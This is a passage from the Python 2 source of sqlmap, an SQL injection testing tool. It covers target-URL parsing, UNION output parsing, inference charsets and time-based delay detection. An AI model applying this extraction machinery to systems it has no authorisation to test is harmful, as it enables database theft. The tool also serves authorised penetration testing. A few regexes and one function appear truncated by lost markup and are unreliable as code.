DBMS " errMsg += "'%s'. You can download it from '%s'" % (dbmsName, data[2]) errMsg += ". Alternative is to use a package 'python-sqlalchemy' " errMsg += "with support for dialect '%s' installed" % data[3] raise SqlmapMissingDependence(errMsg) def parseTargetUrl(): """ Parse target URL and set some attributes into the configuration singleton. """ if not conf.url: return originalUrl = conf.url if re.search(r"\[.+\]", conf.url) and not socket.has_ipv6: errMsg = "IPv6 addressing is not supported " errMsg += "on this platform" raise SqlmapGenericException(errMsg) if not re.search(r"^http[s]*://", conf.url, re.I) and not re.search(r"^ws[s]*://", conf.url, re.I): if re.search(r":443\b", conf.url): conf.url = "https://%s" % conf.url else: conf.url = "http://%s" % conf.url if kb.customInjectionMark in conf.url: conf.url = conf.url.replace('?', URI_QUESTION_MARKER) try: urlSplit = urlparse.urlsplit(conf.url) except ValueError, ex: errMsg = "invalid URL '%s' has been given ('%s'). " % (conf.url, getSafeExString(ex)) errMsg += "Please be sure that you don't have any leftover characters (e.g. '[' or ']') " errMsg += "in the hostname part" raise SqlmapGenericException(errMsg) hostnamePort = urlSplit.netloc.split(":") if not re.search(r"\[.+\]", urlSplit.netloc) else filter(None, (re.search("\[.+\]", urlSplit.netloc).group(0), re.search(r"\](:(?P\d+))?", urlSplit.netloc).group("port"))) conf.scheme = (urlSplit.scheme.strip().lower() or "http") if not conf.forceSSL else "https" conf.path = urlSplit.path.strip() conf.hostname = hostnamePort[0].strip() conf.ipv6 = conf.hostname != conf.hostname.strip("[]") conf.hostname = conf.hostname.strip("[]").replace(kb.customInjectionMark, "") try: conf.hostname.encode("idna") conf.hostname.encode(UNICODE_ENCODING) except (LookupError, UnicodeError): invalid = True else: invalid = False if any((invalid, re.search(r"\s", conf.hostname), '..' in conf.hostname, conf.hostname.startswith('.'), '\n' in originalUrl)): errMsg = "invalid target URL ('%s')" % originalUrl raise SqlmapSyntaxException(errMsg) if len(hostnamePort) == 2: try: conf.port = int(hostnamePort[1]) except: errMsg = "invalid target URL" raise SqlmapSyntaxException(errMsg) elif conf.scheme == "https": conf.port = 443 else: conf.port = 80 if conf.port < 1 or conf.port > 65535: errMsg = "invalid target URL's port (%d)" % conf.port raise SqlmapSyntaxException(errMsg) conf.url = getUnicode("%s://%s:%d%s" % (conf.scheme, ("[%s]" % conf.hostname) if conf.ipv6 else conf.hostname, conf.port, conf.path)) conf.url = conf.url.replace(URI_QUESTION_MARKER, '?') if urlSplit.query: if '=' not in urlSplit.query: conf.url = "%s?%s" % (conf.url, getUnicode(urlSplit.query)) else: conf.parameters[PLACE.GET] = urldecode(urlSplit.query) if urlSplit.query and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in urlSplit.query else urlSplit.query if not conf.referer and (intersect(REFERER_ALIASES, conf.testParameter, True) or conf.level >= 3): debugMsg = "setting the HTTP Referer header to the target URL" logger.debug(debugMsg) conf.httpHeaders = [_ for _ in conf.httpHeaders if _[0] != HTTP_HEADER.REFERER] conf.httpHeaders.append((HTTP_HEADER.REFERER, conf.url.replace(kb.customInjectionMark, ""))) if not conf.host and (intersect(HOST_ALIASES, conf.testParameter, True) or conf.level >= 5): debugMsg = "setting the HTTP Host header to the target URL" logger.debug(debugMsg) conf.httpHeaders = [_ for _ in conf.httpHeaders if _[0] != HTTP_HEADER.HOST] conf.httpHeaders.append((HTTP_HEADER.HOST, getHostHeader(conf.url))) if conf.url != originalUrl: kb.originalUrls[conf.url] = originalUrl def expandAsteriskForColumns(expression): """ If the user provided an asterisk rather than the column(s) name, sqlmap will retrieve the columns itself and reprocess the SQL query string (expression) """ asterisk = re.search(r"(?i)\ASELECT(\s+TOP\s+[\d]+)?\s+\*\s+FROM\s+`?([^`\s()]+)", expression) if asterisk: infoMsg = "you did not provide the fields in your query. " infoMsg += "sqlmap will retrieve the column names itself" logger.info(infoMsg) _ = asterisk.group(2).replace("..", '.').replace(".dbo.", '.') db, conf.tbl = _.split('.', 1) if '.' in _ else (None, _) if db is None: if expression != conf.query: conf.db = db else: expression = re.sub(r"([^\w])%s" % re.escape(conf.tbl), "\g<1>%s.%s" % (conf.db, conf.tbl), expression) else: conf.db = db conf.db = safeSQLIdentificatorNaming(conf.db) conf.tbl = safeSQLIdentificatorNaming(conf.tbl, True) columnsDict = conf.dbmsHandler.getColumns(onlyColNames=True) if columnsDict and conf.db in columnsDict and conf.tbl in columnsDict[conf.db]: columns = columnsDict[conf.db][conf.tbl].keys() columns.sort() columnsStr = ", ".join(column for column in columns) expression = expression.replace('*', columnsStr, 1) infoMsg = "the query with expanded column name(s) is: " infoMsg += "%s" % expression logger.info(infoMsg) return expression def getLimitRange(count, plusOne=False): """ Returns range of values used in limit/offset constructs >>> [_ for _ in getLimitRange(10)] [0, 1, 2, 3, 4, 5, 6, 7, 8, 9] """ retVal = None count = int(count) limitStart, limitStop = 1, count reverse = False if kb.dumpTable: if conf.limitStart and conf.limitStop and conf.limitStart > conf.limitStop: limitStop = conf.limitStart limitStart = conf.limitStop reverse = True else: if isinstance(conf.limitStop, int) and conf.limitStop > 0 and conf.limitStop < limitStop: limitStop = conf.limitStop if isinstance(conf.limitStart, int) and conf.limitStart > 0 and conf.limitStart <= limitStop: limitStart = conf.limitStart retVal = xrange(limitStart, limitStop + 1) if plusOne else xrange(limitStart - 1, limitStop) if reverse: retVal = xrange(retVal[-1], retVal[0] - 1, -1) return retVal def parseUnionPage(page): """ Returns resulting items from UNION query inside provided page content """ if page is None: return None if re.search(r"(?si)\A%s.*%s\Z" % (kb.chars.start, kb.chars.stop), page): if len(page) > LARGE_OUTPUT_THRESHOLD: warnMsg = "large output detected. This might take a while" logger.warn(warnMsg) data = BigArray() keys = set() for match in re.finditer(r"%s(.*?)%s" % (kb.chars.start, kb.chars.stop), page, re.DOTALL | re.IGNORECASE): entry = match.group(1) if kb.chars.start in entry: entry = entry.split(kb.chars.start)[-1] if kb.unionDuplicates: key = entry.lower() if key not in keys: keys.add(key) else: continue entry = entry.split(kb.chars.delimiter) if conf.hexConvert: entry = applyFunctionRecursively(entry, decodeHexValue) if kb.safeCharEncode: entry = applyFunctionRecursively(entry, safecharencode) data.append(entry[0] if len(entry) == 1 else entry) else: data = page if len(data) == 1 and isinstance(data[0], basestring): data = data[0] return data def parseFilePaths(page): """ Detects (possible) absolute system paths inside the provided page content """ if page: for regex in FILE_PATH_REGEXES: for match in re.finditer(regex, page): absFilePath = match.group("result").strip() page = page.replace(absFilePath, "") if isWindowsDriveLetterPath(absFilePath): absFilePath = posixToNtSlashes(absFilePath) if absFilePath not in kb.absFilePaths: kb.absFilePaths.add(absFilePath) def getLocalIP(): """ Get local IP address (exposed to the remote/target) """ retVal = None try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((conf.hostname, conf.port)) retVal, _ = s.getsockname() s.close() except: debugMsg = "there was an error in opening socket " debugMsg += "connection toward '%s'" % conf.hostname logger.debug(debugMsg) return retVal def getRemoteIP(): """ Get remote/target IP address """ retVal = None try: retVal = socket.gethostbyname(conf.hostname) except socket.gaierror: errMsg = "address resolution problem " errMsg += "occurred for hostname '%s'" % conf.hostname singleTimeLogMessage(errMsg, logging.ERROR) return retVal def getFileType(filePath): """ Returns "magic" file type for given file path >>> getFileType(__file__) 'text' """ try: desc = magic.from_file(filePath) or "" except: return "unknown" return "text" if any(_ in desc.lower() for _ in ("ascii", "text")) else "binary" def getCharset(charsetType=None): """ Returns list with integers representing characters of a given charset type appropriate for inference techniques >>> getCharset(CHARSET_TYPE.BINARY) [0, 1, 47, 48, 49] """ asciiTbl = [] if charsetType is None: asciiTbl.extend(xrange(0, 128)) # Binary elif charsetType == CHARSET_TYPE.BINARY: asciiTbl.extend((0, 1)) asciiTbl.extend(xrange(47, 50)) # Digits elif charsetType == CHARSET_TYPE.DIGITS: asciiTbl.extend((0, 9)) asciiTbl.extend(xrange(47, 58)) # Hexadecimal elif charsetType == CHARSET_TYPE.HEXADECIMAL: asciiTbl.extend((0, 1)) asciiTbl.extend(xrange(47, 58)) asciiTbl.extend(xrange(64, 71)) asciiTbl.extend((87, 88)) # X asciiTbl.extend(xrange(96, 103)) asciiTbl.extend((119, 120)) # x # Characters elif charsetType == CHARSET_TYPE.ALPHA: asciiTbl.extend((0, 1)) asciiTbl.extend(xrange(64, 91)) asciiTbl.extend(xrange(96, 123)) # Characters and digits elif charsetType == CHARSET_TYPE.ALPHANUM: asciiTbl.extend((0, 1)) asciiTbl.extend(xrange(47, 58)) asciiTbl.extend(xrange(64, 91)) asciiTbl.extend(xrange(96, 123)) return asciiTbl def directoryPath(filepath): """ Returns directory path for a given filepath >>> directoryPath('/var/log/apache.log') '/var/log' """ retVal = filepath if filepath: retVal = ntpath.dirname(filepath) if isWindowsDriveLetterPath(filepath) else posixpath.dirname(filepath) return retVal def normalizePath(filepath): """ Returns normalized string representation of a given filepath >>> normalizePath('//var///log/apache.log') '/var/log/apache.log' """ retVal = filepath if retVal: retVal = retVal.strip("\r\n") retVal = ntpath.normpath(retVal) if isWindowsDriveLetterPath(retVal) else re.sub(r"\A/{2,}", "/", posixpath.normpath(retVal)) return retVal def safeExpandUser(filepath): """ Patch for a Python Issue18171 (http://bugs.python.org/issue18171) """ retVal = filepath try: retVal = os.path.expanduser(filepath) except UnicodeError: _ = locale.getdefaultlocale() encoding = _[1] if _ and len(_) > 1 else UNICODE_ENCODING retVal = getUnicode(os.path.expanduser(filepath.encode(encoding)), encoding=encoding) return retVal def safeStringFormat(format_, params): """ Avoids problems with inappropriate string format strings >>> safeStringFormat('SELECT foo FROM %s LIMIT %d', ('bar', '1')) u'SELECT foo FROM bar LIMIT 1' """ if format_.count(PAYLOAD_DELIMITER) == 2: _ = format_.split(PAYLOAD_DELIMITER) _[1] = re.sub(r"(\A|[^A-Za-z0-9])(%d)([^A-Za-z0-9]|\Z)", r"\g<1>%s\g<3>", _[1]) retVal = PAYLOAD_DELIMITER.join(_) else: retVal = re.sub(r"(\A|[^A-Za-z0-9])(%d)([^A-Za-z0-9]|\Z)", r"\g<1>%s\g<3>", format_) if isinstance(params, basestring): retVal = retVal.replace("%s", params, 1) elif not isListLike(params): retVal = retVal.replace("%s", getUnicode(params), 1) else: start, end = 0, len(retVal) match = re.search(r"%s(.+)%s" % (PAYLOAD_DELIMITER, PAYLOAD_DELIMITER), retVal) if match and PAYLOAD_DELIMITER not in match.group(1): start, end = match.start(), match.end() if retVal.count("%s", start, end) == len(params): for param in params: index = retVal.find("%s", start) retVal = retVal[:index] + getUnicode(param) + retVal[index + 2:] else: if any('%s' in _ for _ in conf.parameters.values()): parts = format_.split(' ') for i in xrange(len(parts)): if PAYLOAD_DELIMITER in parts[i]: parts[i] = parts[i].replace(PAYLOAD_DELIMITER, "") parts[i] = "%s%s" % (parts[i], PAYLOAD_DELIMITER) break format_ = ' '.join(parts) count = 0 while True: match = re.search(r"(\A|[^A-Za-z0-9])(%s)([^A-Za-z0-9]|\Z)", retVal) if match: if count >= len(params): warnMsg = "wrong number of parameters during string formatting. " warnMsg += "Please report by e-mail content \"%r | %r | %r\" to '%s'" % (format_, params, retVal, DEV_EMAIL_ADDRESS) raise SqlmapValueException(warnMsg) else: retVal = re.sub(r"(\A|[^A-Za-z0-9])(%s)([^A-Za-z0-9]|\Z)", r"\g<1>%s\g<3>" % params[count], retVal, 1) count += 1 else: break return retVal def getFilteredPageContent(page, onlyText=True, split=" "): """ Returns filtered page content without script, style and/or comments or all HTML tags >>> getFilteredPageContent(u'foobartest') u'foobar test' """ retVal = page # only if the page's charset has been successfully identified if isinstance(page, unicode): retVal = re.sub(r"(?si)||%s" % (r"|<[^>]+>|\t|\n|\r" if onlyText else ""), split, page) while retVal.find(2 * split) != -1: retVal = retVal.replace(2 * split, split) retVal = htmlunescape(retVal.strip().strip(split)) return retVal def getPageWordSet(page): """ Returns word set used in page content >>> sorted(getPageWordSet(u'foobartest')) [u'foobar', u'test'] """ retVal = set() # only if the page's charset has been successfully identified if isinstance(page, unicode): retVal = set(_.group(0) for _ in re.finditer(r"\w+", getFilteredPageContent(page))) return retVal def showStaticWords(firstPage, secondPage): """ Prints words appearing in two different response pages """ infoMsg = "finding static words in longest matching part of dynamic page content" logger.info(infoMsg) firstPage = getFilteredPageContent(firstPage) secondPage = getFilteredPageContent(secondPage) infoMsg = "static words: " if firstPage and secondPage: match = SequenceMatcher(None, firstPage, secondPage).find_longest_match(0, len(firstPage), 0, len(secondPage)) commonText = firstPage[match[0]:match[0] + match[2]] commonWords = getPageWordSet(commonText) else: commonWords = None if commonWords: commonWords = list(commonWords) commonWords.sort(lambda a, b: cmp(a.lower(), b.lower())) for word in commonWords: if len(word) > 2: infoMsg += "'%s', " % word infoMsg = infoMsg.rstrip(", ") else: infoMsg += "None" logger.info(infoMsg) def isWindowsDriveLetterPath(filepath): """ Returns True if given filepath starts with a Windows drive letter >>> isWindowsDriveLetterPath('C:\\boot.ini') True >>> isWindowsDriveLetterPath('/var/log/apache.log') False """ return re.search(r"\A[\w]\:", filepath) is not None def posixToNtSlashes(filepath): """ Replaces all occurrences of Posix slashes (/) in provided filepath with NT ones (\) >>> posixToNtSlashes('C:/Windows') 'C:\\\\Windows' """ return filepath.replace('/', '\\') if filepath else filepath def ntToPosixSlashes(filepath): """ Replaces all occurrences of NT slashes (\) in provided filepath with Posix ones (/) >>> ntToPosixSlashes('C:\\Windows') 'C:/Windows' """ return filepath.replace('\\', '/') if filepath else filepath def isHexEncodedString(subject): """ Checks if the provided string is hex encoded >>> isHexEncodedString('DEADBEEF') True >>> isHexEncodedString('test') False """ return re.match(r"\A[0-9a-fA-Fx]+\Z", subject) is not None @cachedmethod def getConsoleWidth(default=80): """ Returns console width """ width = None if os.getenv("COLUMNS", "").isdigit(): width = int(os.getenv("COLUMNS")) else: try: try: FNULL = open(os.devnull, 'w') except IOError: FNULL = None process = subprocess.Popen("stty size", shell=True, stdout=subprocess.PIPE, stderr=FNULL or subprocess.PIPE) stdout, _ = process.communicate() items = stdout.split() if len(items) == 2 and items[1].isdigit(): width = int(items[1]) except (OSError, MemoryError): pass if width is None: try: import curses stdscr = curses.initscr() _, width = stdscr.getmaxyx() curses.endwin() except: pass return width or default def clearConsoleLine(forceOutput=False): """ Clears current console line """ if getattr(LOGGER_HANDLER, "is_tty", False): dataToStdout("\r%s\r" % (" " * (getConsoleWidth() - 1)), forceOutput) kb.prependFlag = False kb.stickyLevel = None def parseXmlFile(xmlFile, handler): """ Parses XML file by a given handler """ try: with contextlib.closing(StringIO(readCachedFileContent(xmlFile))) as stream: parse(stream, handler) except (SAXParseException, UnicodeError), ex: errMsg = "something appears to be wrong with " errMsg += "the file '%s' ('%s'). Please make " % (xmlFile, getSafeExString(ex)) errMsg += "sure that you haven't made any changes to it" raise SqlmapInstallationException(errMsg) def getSQLSnippet(dbms, sfile, **variables): """ Returns content of SQL snippet located inside 'procs/' directory """ if sfile.endswith('.sql') and os.path.exists(sfile): filename = sfile elif not sfile.endswith('.sql') and os.path.exists("%s.sql" % sfile): filename = "%s.sql" % sfile else: filename = os.path.join(paths.SQLMAP_PROCS_PATH, DBMS_DIRECTORY_DICT[dbms], sfile if sfile.endswith('.sql') else "%s.sql" % sfile) checkFile(filename) retVal = readCachedFileContent(filename) retVal = re.sub(r"#.+", "", retVal) retVal = re.sub(r";\s+", "; ", retVal).strip("\r\n") for _ in variables.keys(): retVal = re.sub(r"%%%s%%" % _, variables[_].replace('\\', r'\\'), retVal) for _ in re.findall(r"%RANDSTR\d+%", retVal, re.I): retVal = retVal.replace(_, randomStr()) for _ in re.findall(r"%RANDINT\d+%", retVal, re.I): retVal = retVal.replace(_, randomInt()) variables = re.findall(r"(? 1 else "", ", ".join(variables), sfile) logger.error(errMsg) msg = "do you want to provide the substitution values? [y/N] " if readInput(msg, default='N', boolean=True): for var in variables: msg = "insert value for variable '%s': " % var val = readInput(msg, default="") retVal = retVal.replace(r"%%%s%%" % var, val) return retVal def readCachedFileContent(filename, mode='rb'): """ Cached reading of file content (avoiding multiple same file reading) """ if filename not in kb.cache.content: with kb.locks.cache: if filename not in kb.cache.content: checkFile(filename) try: with openFile(filename, mode) as f: kb.cache.content[filename] = f.read() except (IOError, OSError, MemoryError), ex: errMsg = "something went wrong while trying " errMsg += "to read the content of file '%s' ('%s')" % (filename, getSafeExString(ex)) raise SqlmapSystemException(errMsg) return kb.cache.content[filename] def readXmlFile(xmlFile): """ Reads XML file content and returns its DOM representation """ checkFile(xmlFile) retVal = minidom.parse(xmlFile).documentElement return retVal @cachedmethod def stdev(values): """ Computes standard deviation of a list of numbers. Reference: http://www.goldb.org/corestats.html >>> stdev([0.9, 0.9, 0.9, 1.0, 0.8, 0.9]) 0.06324555320336757 """ if not values or len(values) < 2: return None else: avg = average(values) _ = reduce(lambda x, y: x + pow((y or 0) - avg, 2), values, 0.0) return sqrt(_ / (len(values) - 1)) def average(values): """ Computes the arithmetic mean of a list of numbers. >>> average([0.9, 0.9, 0.9, 1.0, 0.8, 0.9]) 0.9 """ return (sum(values) / len(values)) if values else None def calculateDeltaSeconds(start): """ Returns elapsed time from start till now """ return time.time() - start def initCommonOutputs(): """ Initializes dictionary containing common output values used by "good samaritan" feature """ kb.commonOutputs = {} key = None with openFile(paths.COMMON_OUTPUTS, 'r') as f: for line in f.readlines(): # xreadlines doesn't return unicode strings when codec.open() is used if line.find('#') != -1: line = line[:line.find('#')] line = line.strip() if len(line) > 1: if line.startswith('[') and line.endswith(']'): key = line[1:-1] elif key: if key not in kb.commonOutputs: kb.commonOutputs[key] = set() if line not in kb.commonOutputs[key]: kb.commonOutputs[key].add(line) def getFileItems(filename, commentPrefix='#', unicode_=True, lowercase=False, unique=False): """ Returns newline delimited items contained inside file """ retVal = list() if not unique else OrderedDict() if filename: filename = filename.strip('"\'') checkFile(filename) try: with openFile(filename, 'r', errors="ignore") if unicode_ else open(filename, 'r') as f: for line in (f.readlines() if unicode_ else f.xreadlines()): # xreadlines doesn't return unicode strings when codec.open() is used if commentPrefix: if line.find(commentPrefix) != -1: line = line[:line.find(commentPrefix)] line = line.strip() if not unicode_: try: line = str.encode(line) except UnicodeDecodeError: continue if line: if lowercase: line = line.lower() if unique and line in retVal: continue if unique: retVal[line] = True else: retVal.append(line) except (IOError, OSError, MemoryError), ex: errMsg = "something went wrong while trying " errMsg += "to read the content of file '%s' ('%s')" % (filename, getSafeExString(ex)) raise SqlmapSystemException(errMsg) return retVal if not unique else retVal.keys() def goGoodSamaritan(prevValue, originalCharset): """ Function for retrieving parameters needed for common prediction (good samaritan) feature. prevValue: retrieved query output so far (e.g. 'i'). Returns commonValue if there is a complete single match (in kb.partRun of txt/common-outputs.txt under kb.partRun) regarding parameter prevValue. If there is no single value match, but multiple, commonCharset is returned containing more probable characters (retrieved from matched values in txt/common-outputs.txt) together with the rest of charset as otherCharset. """ if kb.commonOutputs is None: initCommonOutputs() predictionSet = set() commonValue = None commonPattern = None countCommonValue = 0 # If the header (e.g. Databases) we are looking for has common # outputs defined if kb.partRun in kb.commonOutputs: commonPartOutputs = kb.commonOutputs[kb.partRun] commonPattern = commonFinderOnly(prevValue, commonPartOutputs) # If the longest common prefix is the same as previous value then # do not consider it if commonPattern and commonPattern == prevValue: commonPattern = None # For each common output for item in commonPartOutputs: # Check if the common output (item) starts with prevValue # where prevValue is the enumerated character(s) so far if item.startswith(prevValue): commonValue = item countCommonValue += 1 if len(item) > len(prevValue): char = item[len(prevValue)] predictionSet.add(char) # Reset single value if there is more than one possible common # output if countCommonValue > 1: commonValue = None commonCharset = [] otherCharset = [] # Split the original charset into common chars (commonCharset) # and other chars (otherCharset) for ordChar in originalCharset: if chr(ordChar) not in predictionSet: otherCharset.append(ordChar) else: commonCharset.append(ordChar) commonCharset.sort() return commonValue, commonPattern, commonCharset, originalCharset else: return None, None, None, originalCharset def getPartRun(alias=True): """ Goes through call stack and finds constructs matching conf.dbmsHandler.*. Returns it or its alias used in 'txt/common-outputs.txt' """ retVal = None commonPartsDict = optDict["Enumeration"] try: stack = [item[4][0] if isinstance(item[4], list) else '' for item in inspect.stack()] # Goes backwards through the stack to find the conf.dbmsHandler method # calling this function for i in xrange(0, len(stack) - 1): for regex in (r"self\.(get[^(]+)\(\)", r"conf\.dbmsHandler\.([^(]+)\(\)"): match = re.search(regex, stack[i]) if match: # This is the calling conf.dbmsHandler or self method # (e.g. 'getDbms') retVal = match.groups()[0] break if retVal is not None: break # Reference: http://coding.derkeiler.com/Archive/Python/comp.lang.python/2004-06/2267.html except TypeError: pass # Return the INI tag to consider for common outputs (e.g. 'Databases') if alias: return commonPartsDict[retVal][1] if isinstance(commonPartsDict.get(retVal), tuple) else retVal else: return retVal def getUnicode(value, encoding=None, noneToNull=False): """ Return the unicode representation of the supplied value: >>> getUnicode(u'test') u'test' >>> getUnicode('test') u'test' >>> getUnicode(1) u'1' """ if noneToNull and value is None: return NULL if isinstance(value, unicode): return value elif isinstance(value, basestring): while True: try: return unicode(value, encoding or (kb.get("pageEncoding") if kb.get("originalPage") else None) or UNICODE_ENCODING) except UnicodeDecodeError, ex: try: return unicode(value, UNICODE_ENCODING) except: value = value[:ex.start] + "".join(INVALID_UNICODE_CHAR_FORMAT % ord(_) for _ in value[ex.start:ex.end]) + value[ex.end:] elif isListLike(value): value = list(getUnicode(_, encoding, noneToNull) for _ in value) return value else: try: return unicode(value) except UnicodeDecodeError: return unicode(str(value), errors="ignore") # encoding ignored for non-basestring instances def longestCommonPrefix(*sequences): """ Returns longest common prefix occuring in given sequences Reference: http://boredzo.org/blog/archives/2007-01-06/longest-common-prefix-in-python-2 >>> longestCommonPrefix('foobar', 'fobar') 'fo' """ if len(sequences) == 1: return sequences[0] sequences = [pair[1] for pair in sorted((len(fi), fi) for fi in sequences)] if not sequences: return None for i, comparison_ch in enumerate(sequences[0]): for fi in sequences[1:]: ch = fi[i] if ch != comparison_ch: return fi[:i] return sequences[0] def commonFinderOnly(initial, sequence): return longestCommonPrefix(*filter(lambda _: _.startswith(initial), sequence)) def pushValue(value): """ Push value to the stack (thread dependent) """ _ = None success = False for i in xrange(PUSH_VALUE_EXCEPTION_RETRY_COUNT): try: getCurrentThreadData().valueStack.append(copy.deepcopy(value)) success = True break except Exception, ex: _ = ex if not success: getCurrentThreadData().valueStack.append(None) if _: raise _ def popValue(): """ Pop value from the stack (thread dependent) >>> pushValue('foobar') >>> popValue() 'foobar' """ return getCurrentThreadData().valueStack.pop() def wasLastResponseDBMSError(): """ Returns True if the last web request resulted in a (recognized) DBMS error page """ threadData = getCurrentThreadData() return threadData.lastErrorPage and threadData.lastErrorPage[0] == threadData.lastRequestUID def wasLastResponseHTTPError(): """ Returns True if the last web request resulted in an erroneous HTTP code (like 500) """ threadData = getCurrentThreadData() return threadData.lastHTTPError and threadData.lastHTTPError[0] == threadData.lastRequestUID def wasLastResponseDelayed(): """ Returns True if the last web request resulted in a time-delay """ # 99.9999999997440% of all non time-based SQL injection affected # response times should be inside +-7*stdev([normal response times]) # Math reference: http://www.answers.com/topic/standard-deviation deviation = stdev(kb.responseTimes.get(kb.responseTimeMode, [])) threadData = getCurrentThreadData() if deviation and not conf.direct and not conf.disableStats: if len(kb.responseTimes[kb.responseTimeMode]) < MIN_TIME_RESPONSES: warnMsg = "time-based standard deviation method used on a model " warnMsg += "with less than %d response times" % MIN_TIME_RESPONSES logger.warn(warnMsg) lowerStdLimit = average(kb.responseTimes[kb.responseTimeMode]) + TIME_STDEV_COEFF * deviation retVal = (threadData.lastQueryDuration >= max(MIN_VALID_DELAYED_RESPONSE, lowerStdLimit)) if not kb.testMode and retVal: if kb.adjustTimeDelay is None: msg = "do you want sqlmap to try to optimize value(s) " msg += "for DBMS delay responses (option '--time-sec')? [Y/n] " kb.adjustTimeDelay = ADJUST_TIME_DELAY.DISABLE if not readInput(msg, default='Y', boolean=True) else ADJUST_TIME_DELAY.YES if kb.adjustTimeDelay is ADJUST_TIME_DELAY.YES: adjustTimeDelay(threadData.lastQueryDuration, lowerStdLimit) return retVal else: delta = threadData.lastQueryDuration - conf.timeSec if Backend.getIdentifiedDbms() in (DBMS.MYSQL,): # MySQL's SLEEP(X) lasts 0.05 seconds shorter on average delta += 0.05 return delta >= 0 def adjustTimeDelay(lastQueryDuration, lowerStdLimit): """ Provides tip for adjusting time delay in time-based data retrieval """ candidate = 1 + int(round(lowerStdLimit)) if candidate: kb.delayCandidates = [candidate] + kb.delayCandidates[:-1] if all((_ == candidate for _ in kb.delayCandidates)) and candidate < conf.timeSec: conf.timeSec = candidate infoMsg = "adjusting time delay to " infoMsg += "%d second%s due to good response times" % (conf.timeSec, 's' if conf.timeSec > 1 else '') logger.info(infoMsg) def getLastRequestHTTPError(): """ Returns last HTTP error code """ threadData = getCurrentThreadData() return threadData.lastHTTPError[1] if threadData.lastHTTPError else None def extractErrorMessage(page): """ Returns reported error message from page if it founds one >>> extractErrorMessage(u'Test\\nWarning: oci_parse() [function.oci-parse]: ORA-01756: quoted string not properly terminated

Only a test page

') u'oci_parse() [function.oci-parse]: ORA-01756: quoted string not properly terminated' """ retVal = None if isinstance(page, basestring): for regex in ERROR_PARSING_REGEXES: match = re.search(regex, page, re.DOTALL | re.IGNORECASE) if match: retVal = htmlunescape(match.group("result")).replace("
", "\n").strip() break return retVal def findLocalPort(ports): """ Find the first opened localhost port from a given list of ports (e.g. for Tor port checks) """ retVal = None for port in ports: try: try: s = socket._orig_socket(socket.AF_INET, socket.SOCK_STREAM) except AttributeError: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((LOCALHOST, port)) retVal = port break except socket.error: pass finally: try: s.close() except socket.error: pass return retVal def findMultipartPostBoundary(post): """ Finds value for a boundary parameter in given multipart POST body >>> findMultipartPostBoundary("-----------------------------9051914041544843365972754266\\nContent-Disposition: form-data; name=text\\n\\ndefault") '9051914041544843365972754266' """ retVal = None done = set() candidates = [] for match in re.finditer(r"(?m)^--(.+?)(--)?$", post or ""): _ = match.group(1).strip().strip('-') if _ in done: continue else: candidates.append((post.count(_), _)) done.add(_) if candidates: candidates.sort(key=lambda _: _[0], reverse=True) retVal = candidates[0][1] return retVal def urldecode(value, encoding=None, unsafe="%%&=;+%s" % CUSTOM_INJECTION_MARK_CHAR, convall=False, spaceplus=True): """ URL decodes given value >>> urldecode('AND%201%3E%282%2B3%29%23', convall=True) u'AND 1>(2+3)#' """ result = value if value: try: # for cases like T%C3%BCrk%C3%A7e value = str(value) except ValueError: pass finally: if convall: result = urllib.unquote_plus(value) if spaceplus else urllib.unquote(value) else: def _(match): charset = reduce(lambda x, y: x.replace(y, ""), unsafe, string.printable) char = chr(ord(match.group(1).decode("hex"))) return char if char in charset else match.group(0) result = value if spaceplus: result = result.replace('+', ' ') # plus sign has a special meaning in URL encoded data (hence the usage of urllib.unquote_plus in convall case) result = re.sub(r"%([0-9a-fA-F]{2})", _, result) if isinstance(result, str): result = unicode(result, encoding or UNICODE_ENCODING, "replace") return result def urlencode(value, safe="%&=-_", convall=False, limit=False, spaceplus=False): """ URL encodes given value >>> urlencode('AND 1>(2+3)#') 'AND%201%3E%282%2B3%29%23' """ if conf.get("direct"): return value count = 0 result = None if value is None else "" if value: if Backend.isDbms(DBMS.MSSQL) and not kb.tamperFunctions and any(ord(_) > 255 for _ in value): warnMsg = "if you experience problems with " warnMsg += "non-ASCII identifier names " warnMsg += "you are advised to rerun with '--tamper=charunicodeencode'" singleTimeWarnMessage(warnMsg) if convall or safe is None: safe = "" # corner case when character % really needs to be # encoded (when not representing URL encoded char) # except in cases when tampering scripts are used if all('%' in _ for _ in (safe, value)) and not kb.tamperFunctions: value = re.sub(r"%(?![0-9a-fA-F]{2})", "%25", value) while True: result = urllib.quote(utf8encode(value), safe) if limit and len(result) > URLENCODE_CHAR_LIMIT: if count >= len(URLENCODE_FAILSAFE_CHARS): break while count < len(URLENCODE_FAILSAFE_CHARS): safe += URLENCODE_FAILSAFE_CHARS[count] count += 1 if safe[-1] in value: break else: break if spaceplus: result = result.replace(urllib.quote(' '), '+') return result def runningAsAdmin(): """ Returns True if the current process is run under admin privileges """ isAdmin = None if PLATFORM in ("posix", "mac"): _ = os.geteuid() isAdmin = isinstance(_, (int, float, long)) and _ == 0 elif IS_WIN: import ctypes _ = ctypes.windll.shell32.IsUserAnAdmin() isAdmin = isinstance(_, (int, float, long)) and _ == 1 else: errMsg = "sqlmap is not able to check if you are running it " errMsg += "as an administrator account on this platform. " errMsg += "sqlmap will assume that you are an administrator " errMsg += "which is mandatory for the requested takeover attack " errMsg += "to work properly" logger.error(errMsg) isAdmin = True return isAdmin def logHTTPTraffic(requestLogMsg, responseLogMsg, startTime=None, endTime=None): """ Logs HTTP traffic to the output file """ if conf.harFile: conf.httpCollector.collectRequest(requestLogMsg, responseLogMsg, startTime, endTime) if conf.trafficFile: with kb.locks.log: dataToTrafficFile("%s%s" % (requestLogMsg, os.linesep)) dataToTrafficFile("%s%s" % (responseLogMsg, os.linesep)) dataToTrafficFile("%s%s%s%s" % (os.linesep, 76 * '#', os.linesep, os.linesep)) def getPageTemplate(payload, place): # Cross-referenced function raise NotImplementedError @cachedmethod def getPublicTypeMembers(type_, onlyValues=False): """ Useful for getting members from types (e.g. in enums) >>> [_ for _ in getPublicTypeMembers(OS, True)] ['Linux', 'Windows'] """ retVal = [] for name, value in inspect.getmembers(type_): if not name.startswith("__"): if not onlyValues: retVal.append((name, value)) else: retVal.append(value) return retVal def enumValueToNameLookup(type_, value_): """ Returns name of a enum member with a given value >>> enumValueToNameLookup(SORT_ORDER, 100) 'LAST' """ retVal = None for name, value in getPublicTypeMembers(type_): if value == value_: retVal = name break return retVal @cachedmethod def extractRegexResult(regex, content, flags=0): """ Returns 'result' group value from a possible match with regex on a given content >>> 